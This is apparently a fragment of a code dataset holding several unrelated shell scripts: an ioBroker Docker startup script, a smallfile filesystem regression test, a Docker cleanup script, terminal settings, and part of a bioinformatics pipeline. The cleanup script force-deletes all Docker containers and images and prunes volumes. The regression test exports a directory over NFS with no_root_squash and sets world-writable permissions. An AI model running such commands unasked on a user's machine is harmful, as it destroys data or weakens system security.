\"\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV and external objects db is set.\"\n echo \"Skipping this step...\"\n echo \"Done.\"\n echo ' '\nelif ([ \"$multihost\" = \"slave\" ] && [ \"$objectsdbtype\" = \"\" ]) || ([ \"$multihost\" = \"slave\" ] && [ \"$objectsdbhost\" = \"\" ]) || ([ \"$multihost\" = \"slave\" ] && [ \"$objectsdbport\" = \"\" ])\nthen\n echo \"Multihost is set as \\\"slave\\\" by ENV. But no external objects db is set.\"\n echo \"You have to configure ENVs \\\"IOB_OBJECTSDB_TYPE\\\", \\\"IOB_OBJECTSDB_HOST\\\" and \\\"IOB_OBJECTSDB_PORT\\\" to connect to a maser objects db.\"\n echo \"Please check your settings and start over.\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nelif [ \"$multihost\" = \"slave\" ] && [ \"$objectsdbtype\" != \"\" ] && [ \"$objectsdbhost\" != \"\" ] && [ \"$objectsdbport\" != \"\" ]\nthen\n echo \"Multihost is set as \\\"slave\\\" by ENV and external objects db is set.\"\n echo \"Skipping this step...\"\n echo \"Done.\"\n echo ' '\nelif [ \"$multihost\" != \"\" ]\nthen\n echo \"Multihost is set but it seems like some configuration is missing.\"\n echo \"Please checke if you have configured the ENVs \\\"MULTIHOST\\\", \\\"IOB_OBJECTSDB_TYPE\\\", \\\"IOB_OBJECTSDB_HOST\\\" and \\\"IOB_OBJECTSDB_PORT\\\" correctly and start over.\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nfi\n#Configuring states db host\nif [ \"$multihost\" = \"master\" ] && [ \"$statesdbtype\" = \"\" ] && [ \"$statesdbhost\" = \"\" ] && [ \"$statesdbport\" = \"\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV and no external states db is set.\"\n echo \"Setting host of states db to \\\"0.0.0.0\\\" to allow external communication...\"\n jq --arg statesdbhost \"0.0.0.0\" '.states.host = $statesdbhost' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n echo ' '\nelif [ \"$multihost\" = \"master\" ] && [ \"$statesdbhost\" = \"127.0.0.1\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV. But states db host is set to \\\"127.0.0.1\\\" by ENV too.\"\n echo \"This configuration will not work! Please change or remove ENV \\\"IOB_STATESDB_HOST\\\" and start over!\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nelif [ \"$multihost\" = \"master\" ] && [ \"$statesdbtype\" != \"\" ] && [ \"$statesdbhost\" != \"\" ] && [ \"$statesdbport\" != \"\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV and external states db is set.\"\n echo \"Skipping this step...\"\n echo \"Done.\"\n echo ' '\nelif ([ \"$multihost\" = \"slave\" ] && [ \"$statesdbtype\" = \"\" ]) || ([ \"$multihost\" = \"slave\" ] && [ \"$statesdbhost\" = \"\" ]) || ([ \"$multihost\" = \"slave\" ] && [ \"$statesdbport\" = \"\" ])\nthen\n echo \"Multihost is set as \\\"slave\\\" by ENV. But no external states db is set.\"\n echo \"You have to configure ENVs \\\"IOB_STATESDB_TYPE\\\", \\\"IOB_STATESDB_HOST\\\" and \\\"IOB_STATESDB_PORT\\\" to connect to a maser states db.\"\n echo \"Please check your settings and start over.\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nelif [ \"$multihost\" = \"slave\" ] && [ \"$statesdbtype\" != \"\" ] && [ \"$statesdbhost\" != \"\" ] && [ \"$statesdbport\" != \"\" ]\nthen\n echo \"Multihost is set as \\\"slave\\\" by ENV and external states db is set.\"\n echo \"Skipping this step...\"\n echo \"Done.\"\n echo ' '\nelif [ \"$multihost\" != \"\" ]\nthen\n echo \"Multihost is set but it seems like some configuration is missing.\"\n echo \"Please checke if you have configured the ENVs \\\"MULTIHOST\\\", \\\"IOB_STATESDB_TYPE\\\", \\\"IOB_STATESDB_HOST\\\" and \\\"IOB_STATESTDB_PORT\\\" correctly and start over.\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nfi\n\n\n# Checking ENVs for custom setup of objects db\nif [ \"$objectsdbtype\" != \"\" ] || [ \"$objectsdbhost\" != \"\" ] || [ \"$objectsdbport\" != \"\" ]\nthen\n if [ \"$objectsdbtype\" != $(jq -r '.objects.type' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_OBJECTSDB_TYPE is set and value is different from detected ioBroker installation.\"\n echo \"Setting type of objects db to \\\"\"$objectsdbtype\"\\\"...\"\n jq --arg objectsdbtype \"$objectsdbtype\" '.objects.type = $objectsdbtype' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_OBJECTSDB_TYPE is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n if [ \"$objectsdbhost\" != $(jq -r '.objects.host' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_OBJECTSDB_HOST is set and value is different from detected ioBroker installation.\"\n echo \"Setting host of objects db to \\\"\"$objectsdbhost\"\\\"...\"\n jq --arg objectsdbhost \"$objectsdbhost\" '.objects.host = $objectsdbhost' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_OBJECTSDB_HOST is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n if [ \"$objectsdbport\" != $(jq -r '.objects.port' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_OBJECTSDB_PORT is set and value is different from detected ioBroker installation.\"\n echo \"Setting port of objects db to \\\"\"$objectsdbport\"\\\"...\"\n jq --arg objectsdbport $objectsdbport '.objects.port = $objectsdbport' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_OBJECTSDB_PORT is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n echo ' '\nfi\n\n\n# Checking ENVs for custom setup of states db#\nif [ \"$statesdbtype\" != \"\" ] || [ \"$statesdbhost\" != \"\" ] || [ \"$statesdbport\" != \"\" ]\nthen\n if [ \"$statesdbtype\" != $(jq -r '.states.type' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_STATESDB_TYPE is set and value is different from detected ioBroker installation.\"\n echo \"Setting type of states db to \\\"\"$statesdbtype\"\\\"...\"\n jq --arg statesdbtype \"$statesdbtype\" '.states.type = $statesdbtype' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_STATESDB_TYPE is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n if [ \"$statesdbhost\" != $(jq -r '.states.host' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_STATESDB_HOST is set and value is different from detected ioBroker installation.\"\n echo \"Setting host of states db to \\\"\"$statesdbhost\"\\\"...\"\n jq --arg statesdbhost \"$statesdbhost\" '.states.host = $statesdbhost' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_STATESDB_HOST is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n if [ \"$statesdbport\" != $(jq -r '.states.port' /opt/iobroker/iobroker-data/iobroker.json) ]\n then\n echo \"ENV IOB_STATESDB_PORT is set and value is different from detected ioBroker installation.\"\n echo \"Setting port of states db to \\\"\"$statesdbport\"\\\"...\"\n jq --arg statesdbport $statesdbport '.states.port = $statesdbport' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n else\n echo \"ENV IOB_STATESDB_PORT is set and value meets detected ioBroker installation. Nothing to do here.\"\n fi\n echo ' '\nfi\n\n\n# Checking for Userscripts in /opt/userscripts\nif [ `find /opt/userscripts -type f | wc -l` -lt 1 ]\nthen\n echo \"There is no data detected in /opt/userscripts. Restoring exapmple userscripts...\"\n tar -xf /opt/initial_userscripts.tar -C /\n chmod 755 /opt/userscripts/userscript_firststart_example.sh\n chmod 755 /opt/userscripts/userscript_everystart_example.sh\n echo \"Done.\"\n echo ' '\nelif [ -f /opt/userscripts/userscript_firststart.sh ] || [ -f /opt/userscripts/userscript_everystart.sh ]\nthen\n if [ -f /opt/userscripts/userscript_firststart.sh ] && [ -f /opt/.firstrun ]\n then\n echo \"Userscript for first start detected and this is the first start of a new container.\"\n echo \"Running userscript_firststart.sh...\"\n chmod 755 /opt/userscripts/userscript_firststart.sh\n bash /opt/userscripts/userscript_firststart.sh\n echo \"Done.\"\n echo ' '\n fi\n if [ -f /opt/userscripts/userscript_everystart.sh ]\n then\n echo \"Userscript for every start detected. Running userscript_everystart.sh...\"\n chmod 755 /opt/userscripts/userscript_everystart.sh\n bash /opt/userscripts/userscript_everystart.sh\n echo \"Done.\"\n echo ' '\n fi\nfi\n\n# Removing first run marker when exists\nif [ -f /opt/.firstrun ]\nthen\nrm -f /opt/.firstrun\nfi\n\n#####\n# STEP 5 - Starting ioBroker\n#####\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Step 5 of 5: ioBroker startup -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\necho \"Starting ioBroker...\"\necho ' '\n\n# Setting healthcheck status to \"running\"\necho \"running\" > /opt/scripts/.docker_config/.healthcheck\n\n# Function for graceful shutdown by SIGTERM signal\nshut_down() {\n echo ' '\n echo \"Recived termination signal (SIGTERM).\"\n echo \"Shutting down ioBroker...\"\n pid=$(ps -ef | awk '/[j]s.controller/{print $2}')\n kill -SIGTERM \"$pid\"\n exit\n}\n\n# Trap to get signal for graceful shutdown\ntrap 'shut_down' SIGTERM\n\n# IoBroker start\ngosu iobroker node node_modules/iobroker.js-controller/controller.js & wait\n\n# Fallback process for keeping container running when ioBroker is stopped for maintenance (e.g. js-controller update)\ntail -f /dev/null"} {"text": "#!/bin/bash\n# smallfile regression test\n#\n# you can set the environment variable PYTHON_PROG \n# to switch between python3 and python2\n# for example: # PYTHON_PROG=python3 bash regtest.sh\n# python3 at present doesn't seem to support xattr module \n# so some smallfile operations are not yet supported under python3, \n# the regression test knows how to deal with that.\n#\n# you can have it use a directory in a tmpfs mountpoint, \n# this is recommended so as not to wear out laptop drive.\n# by default, newer distros have /run tmpfs mountpoint with sufficient space \n# so this is default, but TMPDIR environment variable overrides\n# xattrs won't be tested if you use tmpfs for $testdir\n#\n# for really long runs you can't fit in tmpfs mountpoint so\n# $bigtmp defaults to /var/tmp, but you can override with BIGTMP\n# environment variable. Recommend you use SSD for $bigtmp\n#\n# ext4 doesn't support xattrs by default. \n# To run a test on xattr-related operation types, \n# set TMPDIR to an XFS filesystem. \n# You can create an XFS filesystem by using a loopback device, for example:\n#\n# dd if=/dev/zero of=/var/tmp/xfs-fs.img bs=1024k count=1k\n# losetup /dev/loop4 /var/tmp/xfs-fs.img\n# mkfs -t xfs /dev/loop4\n# mkdir -p /mnt/xattrtest\n# mount -t xfs -o noatime,inode64 /dev/loop4 /mnt/xattrtest\n# export TMPDIR=/mnt/xattrtest/smf\n# mkdir /mnt/xattrtest/smf\n# -- run test ---\n# unset TMPDIR\n# umount /mnt/xattrtest\n# losetup -e /dev/loop4\n# rm -fv /var/tmp/xfs-fs.img\n#\n# we don't use \"tee\" program to display results as they are happening \n# because this erases any failure status code returned by smallfile, \n# and this status code is vital to regression test. \n# Instead we log all smallfile output to smfregtest.log \n# where it can be analyzed later if failure occurs\n#\n\nlocalhost_name=\"$1\"\nif [ -z \"$localhost_name\" ] ; then localhost_name=\"localhost\" ; fi\n\nnfs_svc=\"nfs\"\n(find /etc/systemd/system | grep nfs-server) && nfs_svc=\"nfs-server\"\n\n# xattrs must be set to zero if using tmpfs, since tmpfs doesn't support xattrs\n\ntestdir=\"${TMPDIR:-/run}/smf\"\nxattrs=0\nif [ -d $testdir ] ; then\n\tdf $testdir | grep tmpfs\n\tif [ $? != 0 ] ; then\n\t\txattrs=1\n\tfi\nfi\nbigtmp=\"${BIGTMP:-/var/tmp}/smf\"\nnfsdir=/var/tmp/smfnfs\nOK=0\nNOTOK=1\nGREP=\"grep -q \"\nPYTHON=${PYTHON_PROG:-python3}\nf=smfregtest.log\n\nassertfail() {\n status=$1\n if [ $status == $OK ] ; then\n echo \"ERROR: unexpected success status $status\"\n echo \"see end of $f for cause\" \n exit $NOTOK\n fi\n}\n\nassertok() {\n status=$1\n if [ $status != $OK ] ; then\n echo \"ERROR: unexpected failure status $status\"\n echo \"see end of $f for cause\"\n # FIXME: why isn't shell status 1 after regtest.sh exits here?\n exit $NOTOK\n fi\n}\n\nrunsmf() {\n smfcmd=\"$1\"\n echo \"$smfcmd\"\n $smfcmd > $f 2>&1\n}\n\ncleanup() {\n rm -rf /var/tmp/invoke*.log $testdir/* *.pyc\n sudo mkdir -p $testdir\n grep -q $nfsdir /proc/mounts \n if [ $? = $OK ] ; then sudo umount $nfsdir || exit $NOTOK ; fi\n rm -rf $nfsdir\n sudo mkdir -p $nfsdir\n sudo chown $USER $nfsdir\n sudo exportfs -v | grep -q $testdir 2>/tmp/ee\n if [ $? != $OK ] ; then \n sudo exportfs -v -o rw,no_root_squash,sync,fsid=15 localhost:$testdir || exit $NOTOK\n fi\n sudo exportfs -v | grep -q $testdir 2>/tmp/ee\n if [ $? != $OK ] ; then \n echo \"$testdir should be exported at this point\"\n exit $NOTOK\n fi\n sleep 1\n sudo mount -t nfs -o nfsvers=3,tcp,actimeo=1 $localhost_name:$testdir $nfsdir || exit $NOTOK\n}\n\nis_systemctl=1\nwhich systemctl\nif [ $? != $OK ] ; then # chances are it's pre-systemctl Linux distro, use \"service\" instead\n is_systemctl=0\nfi\n\nstart_service()\n{\nsvcname=$1\necho \"attempting to start service $svcname\"\nif [ $is_systemctl == 1 ] ; then\n sudo systemctl restart $svcname\nelse\n sudo service $svcname restart\nfi\nif [ $? != $OK ] ; then\n echo \"FAILED to start service $svcname\"\n return $NOTOK\nfi\n}\n\nstart_service sshd || exit $NOTOK\nstart_service $nfs_svc || exit $NOTOK\n\n# set up NFS mountpoint\n\nsudo mkdir -p $testdir\nsudo chown $USER $testdir\nsudo chmod 777 $testdir\ncleanup\n\n# test assertion mechanism\n\ncp -r /foo/bar/no-such-dir /tmp/ >> $f 2>&1\nassertfail $?\n\n# before running unit tests, install unittest2 python module\n\nsudo yum install -y python-unittest2 || sudo yum install -y python-unittest\nassertok $?\n\n# run the smallfile.py module's unit test\n\necho \"running smallfile.py unit test\"\n$PYTHON smallfile.py\nassertok $?\n\n# run the invoke_process.py unit test\n\necho \"running invoke_process.py unit test\"\n$PYTHON invoke_process.py\nassertok $?\n\n# run drop_buffer_cache.py unit test\n\necho \"running drop_buffer_cache.py unit test\"\n$PYTHON drop_buffer_cache.py\nassertok $?\n\n# run yaml parser unit test\n\necho \"running YAML parser unit test\"\n$PYTHON yaml_parser.py\nassertok $?\n\necho \"simplest smallfile_cli.py commands\"\n\nscmd=\"$PYTHON smallfile_cli.py \"\ncleanup\nls -l /var/tmp/smf/{starting_gate,stonewall}.tmp 2>/tmp/e\nassertfail $?\nrunsmf \"$scmd\"\nassertok $?\nls -l /var/tmp/smf/{starting_gate,stonewall}.tmp\n\nnon_dflt_dir=/var/tmp/foo\nscmd=\"$PYTHON smallfile_cli.py --top $non_dflt_dir \"\ncleanup\nrm -rf $non_dflt_dir\nmkdir $non_dflt_dir\nrunsmf \"$scmd\"\nassertok $?\n(cd $non_dflt_dir/network_shared ; ls -l {starting_gate,stonewall}.tmp)\nassertok $?\n\nscmd=\"$scmd --host-set localhost\"\ncleanup\nrm -rf $non_dflt_dir\nmkdir $non_dflt_dir\nrunsmf \"$scmd\"\nassertok $?\n(cd $non_dflt_dir/network_shared ; \\\n ls -l {starting_gate,stonewall}.tmp param.pickle host_ready.localhost.tmp) 2>/tmp/e\nassertok $?\n\n# test parsing\n\nnonnegmsg=\"integer value greater than zero expected\"\necho \"testing parsing\"\nscmd=\"$PYTHON smallfile_cli.py --top $testdir \"\ncleanup\nrunsmf \"$scmd --files 0\"\nassertfail $?\n$GREP \"$nonnegmsg\" $f\nassertok $?\n\ncleanup\nrunsmf \"$scmd --threads 0\"\nassertfail $?\n$GREP \"$nonnegmsg\" $f\nassertok $?\n\nrunsmf \"$scmd --files -1\"\nassertfail $?\nrunsmf \"$scmd --record-size -1\"\nassertfail $?\nrunsmf \"$scmd --file-size -1\"\nassertfail $?\nrunsmf \"$scmd --files-per-dir 0\"\nassertfail $?\nrunsmf \"$scmd --dirs-per-dir 0\"\nassertfail $?\nrunsmf \"$scmd --record-size -1\"\nassertfail $?\nrunsmf \"$scmd --record-size a\"\nassertfail $?\nrunsmf \"$scmd --top /\"\nassertfail $?\nrunsmf \"$scmd --response-times foo\"\nassertfail $?\nrunsmf \"$scmd --stonewall foo\"\nassertfail $?\nrunsmf \"$scmd --finish foo\"\nassertfail $?\n\ncat > $nfsdir/bad.yaml < $yamlfile < $smfpretty\njson_strs=( 'params' 'file-size' 'file-size-distr' 'files-per-dir' \\\n\t 'files-per-thread' 'finish-all-requests' 'fname-prefix' \\\n\t 'fname-suffix' 'fsync-after-modify' 'hash-to-dir' 'host-set' \\\n\t 'network-sync-dir' 'operation' 'pause-between-files' \\\n\t 'permute-host-dirs' 'share-dir' 'stonewall' 'threads' \\\n\t 'top' 'verify-read' 'xattr-count' 'xattr-size' \\\n\t 'files-per-sec' 'pct-files-done' \\\n\t 'per-thread' '00' 'elapsed' \\\n\t 'in-thread' 'files' 'records' 'status' 'IOPS' 'MiBps' )\n\t \nexpect_ct=${#json_strs[*]}\nfor j in `seq 1 $expect_ct` ; do\n (( k = $j + 1 ))\n expected_str=\"${json_strs[$k]}\"\n $GREP \"$expected_str\" $smfpretty\n s=$?\n if [ $s != $OK ] ; then \n echo \"expecting: $expected_str\"\n fi\n assertok $s $f\ndone\n\nsupported_ops()\n{\n multitop=''\n if [ \"$2\" = 'multitop' ] ; then multitop='multiple-topdirs' ; fi\n \n # python3 does not support xattr-related ops yet, I forget why\n xattr_ops=\"setxattr getxattr swift-put swift-get\"\n if [ \"$PYTHON\" = \"python3\" -o \"$PYTHON\" = \"pypy\" ] ; then xattr_ops='' ; fi\n if [ $xattrs -eq 0 ] ; then xattr_ops='' ; fi\n\n # directory-reading ops do not work with multiple top-level directories at present\n single_topdir_ops='readdir ls-l'\n if [ -n \"$multitop\" ] ; then single_topdir_ops='' ; fi\n \n # for debug only: ops=\"create cleanup\"\n ops=\"cleanup create append overwrite read $single_topdir_ops chmod stat $xattr_ops symlink mkdir rmdir rename delete-renamed\"\n echo $ops\n}\n\nrun_one_cmd()\n{\n cmd=\"$1\"\n echo \"$cmd\" | tee -a $f\n $cmd > /tmp/onetest.tmp 2>&1\n # capture exit status of command before you do anything else!\n s=$?\n # show what happened whether command succeeds or fails\n cat /tmp/onetest.tmp | tee -a $f\n # now check for error\n assertok $s\n}\n\ncommon_params=\\\n\"$PYTHON smallfile_cli.py --files 1000 --files-per-dir 5 --dirs-per-dir 2 --threads 4 --file-size 4 --record-size 16 --file-size 32 --verify-read Y --response-times N --xattr-count 9 --xattr-size 253 --stonewall N\"\n\n# also test response time percentile analysis\n\necho \"*** run one long cleanup test with huge directory and 1 thread ***\"\n\ncleanup_test_params=\"$common_params --threads 1 --files 1000000 --files-per-dir 1000000 --file-size 0\"\nrm -fv /tmp/smf.json $testdir/*rsptime*csv\nrun_one_cmd \"$cleanup_test_params --top $testdir --operation create --response-times Y --output-json /tmp/smf.json\"\nstart_time=$(tr '\",' ' ' < /tmp/smf.json | awk '/start-time/{print $NF}')\necho \"start time was $start_time\"\n$PYTHON smallfile_rsptimes_stats.py --start-time $start_time --time-interval 1 $testdir/network_shared\nint_start_time=$(echo $start_time | awk -F. '{ print $1 }')\necho \"rounded-down start time was $int_start_time\"\ngrep $int_start_time $testdir/network_shared/stats-rsptimes.csv || exit $NOTOK\nrun_one_cmd \"$cleanup_test_params --top $testdir --operation cleanup\"\n\necho \"*** run one test with many threads ***\"\n\nmany_thread_params=\"$common_params --threads 30 --files 10000 --files-per-dir 10 --file-size 0\"\nrun_one_cmd \"$many_thread_params --top $testdir --operation create\"\nrun_one_cmd \"$many_thread_params --top $testdir --operation cleanup\"\n\necho \"******** testing non-distributed operations\" | tee -a $f\n\ncleanup\nfor op in `supported_ops $xattrs ''` ; do\n echo\n echo \"testing local op $op\"\n run_one_cmd \"$common_params --operation $op\"\ndone\n\necho \"******** simulating distributed operations with launch-by-daemon\" | tee -a $f\n\ncleanup\nrm -fv $testdir/shutdown_launchers.tmp\npython launch_smf_host.py --top $testdir --as-host foo &\nworker_pids=\"$!\"\npython launch_smf_host.py --top $testdir --as-host bar &\nworker_pids=\"$worker_pids $!\"\nsleep 2\ndaemon_params=\\\n\"$PYTHON smallfile_cli.py --launch-by-daemon Y --host-set foo,bar --top $testdir \\\n--verify-read Y --response-times N --remote-pgm-dir `pwd` \\\n--files 1000 --files-per-dir 5 --dirs-per-dir 2 --threads 4 --file-size 4\"\n\nfor op in `supported_ops $xattrs ''` ; do\n echo\n echo \"testing local op $op\"\n run_one_cmd \"$daemon_params --operation $op\"\ndone\ntouch $testdir/network_shared/shutdown_launchers.tmp\necho \"waiting for launcher daemons to shut down...\"\nfor p in $worker_pids ; do\n wait $p || exit $NOTOK\ndone\necho \"launchers shut down\"\nrm -fv $testdir/network_shared/shutdown_launchers.tmp\n\n# we do these kinds of tests to support non-distributed filesystems and NFS exports of them\n\necho \"******** testing non-distributed ops with multiple top-level directories\" | tee -a $f\n\ntopdirlist=\"${testdir}1,${testdir}2,${testdir}3,${testdir}4\"\nscmd=\"$PYTHON smallfile_cli.py --top $topdirlist \"\ntopdirlist_nocomma=`echo $topdirlist | sed 's/,/ /g'`\nfor d in $topdirlist_nocomma ; do\n sudo mkdir -pv $d\n sudo chmod 777 $d\ndone\ncleanup\nfor op in `supported_ops $xattrs 'multitop'` ; do\n echo\n echo \"testing local op $op\"\n run_one_cmd \"$common_params --top $topdirlist --operation $op\"\ndone\nfor d in $topdirlist_nocomma ; do sudo rm -rf $d ; done\n\n# these kinds of tests are needed for distributed filesystems or NFS/SMB exports\n\necho \"******** testing distributed operations\" | tee -a $f\n\n# as long as we use NFS for regression tests, NFS does not support xattrs at present\nsave_xattrs=$xattrs\nxattrs=0\n\ncleanup\nfor op in `supported_ops $xattrs ''` ; do\n echo\n echo \"testing distributed op $op\"\n run_one_cmd \"$common_params --host-set $localhost_name --stonewall Y --pause 500 --operation $op\"\ndone\n\n# we do these tests for virtualization (many KVM guests or containers, shared storage but no shared fs)\n\necho \"******* testing distributed operation with a host-local fs\" | tee -a $f\n\ncleanup\nfor op in `supported_ops $xattrs ''` ; do\n rm -rf $nfsdir/sync\n mkdir $nfsdir/sync\n echo\n echo \"testing remote-but-local op $op\"\n run_one_cmd \"$common_params --top $testdir --network-sync-dir $nfsdir/sync --host-set $localhost_name --operation $op\"\ndone\n\n\necho \"*** run one long test of creates and reads ***\" | tee -a $f\n\ncleanup\nxattrs=$save_xattrs\nrm -rf $bigtmp\nmkdir $bigtmp\nbigtest_params=\"$common_params --top $bigtmp --files 20000 --file-size 0 --record-size 4 \"\nbigtest_params=\"$bigtest_params --files-per-dir 3 --dirs-per-dir 2 --threads 10 --stonewall Y --pause 10\"\nfor op in create read ; do\n echo \"big test with op $op\"\n run_one_cmd \"$bigtest_params --operation $op \"\ndone\n# could be out of space on root filesystem, so cleanup\nrm -rf /var/tmp/invoke*.log\nrun_one_cmd \"$bigtest_params --operation cleanup \"\n\n$GREP $nfsdir /proc/mounts\nif [ $? == $OK ] ; then\n sudo umount -v $nfsdir\n sudo rm -rf $nfsdir\nfi\nsudo exportfs -uav\nsudo rm -rf $testdir $bigtmp\nsudo systemctl stop $nfs_svc\nsudo systemctl stop sshd\necho 'SUCCESS!'"} {"text": "docker/docker-geth/dockercleanup.sh1-10\n#!/bin/bash\n\n# Remove all containers\ndocker rm -f $(docker ps -a -q)\n\n# Remove all images\ndocker rmi $(docker images -q)\n\ndocker volume prune\n\ndocker network prunez"} {"text": "100-1000\nexport LESS_TERMCAP_md=$'\\e[01;34m' \\\nexport LESS_TERMCAP_me=$'\\e[0m' \\\nexport LESS_TERMCAP_se=$'\\e[0m' \\\nexport LESS_TERMCAP_so=$'\\e[01;44;35m' \\\nexport LESS_TERMCAP_ue=$'\\e[0m' \\\nexport LESS_TERMCAP_us=$'\\e[01;33m' \\\n\nexport MANPAGER=\"less -r\""} {"text": "jnyste/tee\n#!bin/bash\nsleep 1\necho \"doing stuff\"\nsleep 1\necho \"doing more stuff\"\nsleep 1\necho \"done doing stuff\""} {"text": "LINKYX_identify_X_linked_SNPs.sh\n#!/bin/bash\n\n#LINKYX_PATH set during toolshed installation\n\nresults=$1 #X-linked candidates written here\n\nreference=${2}\nmother_bam=${3}\nmother_vcf=${4}\nfather_bam=${5}\nfather_vcf=${6}\ndaughter_bam=${7}\ndaughter_vcf=${8}\nson_bam=${9}\nson_vcf=${10}\n\nresults_fasta=${11}\n\nfile_exists () \n\t{\n\tfor ARG in \"$@\";\n\tdo\n\t\tif [ ! -f ${ARG} ]; then\n\t\techo \"File $ARG not found\"; \n\t\tfi\n\tdone;\n\t}\n\n#index bam files\n\t\nindex_bam_file () \n\t{\n\tfor ARG in \"$@\";\n\t\tdo\n\t\tbam_file_index=${ARG}\".bai\"\n\t\tif [ -e $bam_file_index ];\n\t\tthen\t\n\t\t\techo \"Index already exists. Not being created again.\";\n\t\telse\n\t\t\tsamtools index ${ARG} &\n\t\tfi\n\t done;\n\t}\n\nidxstats_bam_file () \n\t{\n\t\t#get statistics about mapped and unmapped reads for every contig\n\t\techo \"Idxstats\" $1 $2;\n\t\tstat_name=statistics/stat_${2};\n\t\tsamtools idxstats $1 >$stat_name #statistics for bam files mapping on male reference\n\n\t\t#with MAPQ>0\n\t\tsamtools view -bq 1 $1 >statistics/high_score_${2}.bam\n\t\tsamtools index statistics/high_score_${2}.bam\n\n\t\tstat_high_name=statistics/stat_${2}_high\n\t\tsamtools idxstats statistics/high_score_${2}.bam >$stat_high_name #statistics for bam files mapping on male reference with MAPQ>0\n\t}\n\n\nfile_exists $testing $results $reference $mother_bam $mother_vcf $father_bam $father_vcf $daughter_bam $daughter_vcf $son_bam $son_vcf #check if all input files are present\nindex_bam_file $mother_bam $father_bam $daughter_bam $son_bam #index bam files\n\n#retrieve statistics\nmkdir -p statistics;\nidxstats_bam_file $mother_bam mother\nidxstats_bam_file $father_bam father\nidxstats_bam_file $daughter_bam daughter\nidxstats_bam_file $son_bam son\n\nnewline () {\n\techo -e \"\\n---\";\n}\n\n#variables\n\ndir=\"A/\";\necho -e \"A variant\"; newline; mkdir -p A references bam;\n\ngrep \">\" $reference | sed 's/>//g' >references/reference_contig_names\nmother_contigs=`cat references/reference_contig_names | wc -l`;\n\n#DAUGHTER PREPARE FILES\n\n\tgrep -E '#|AF1=0.' $daughter_vcf | cut -f1 | uniq >${dir}daughter_on_mother_one_allele_heterozygous_ids.vcf\n\tperl -MFile::Slurp -ne 'BEGIN{@a{split(/\\s/,read_file(\"A/daughter_on_mother_one_allele_heterozygous_ids.vcf\"))}=()}; $b=$_; @data = split(/\\s/, $b); $res=$data[0]; print if exists $a{$res}' $daughter_vcf | sort | uniq | sed '/#/d' >${dir}daughter_on_mother_heterozygous.vcf\n\n\t#be aware that if there are more snps, one with allele frequency '0.' is enough for the whole contig to be in contig_pos_ref_heterozygous\n\tsed '/#/d' ${dir}daughter_on_mother_heterozygous.vcf | perl -pe 's/(comp\\S+)\\t(\\d+)\\t\\.\\t(\\S+)\\t(\\S+).+/$1\\t$2\\t$3\\t$4/' | sort 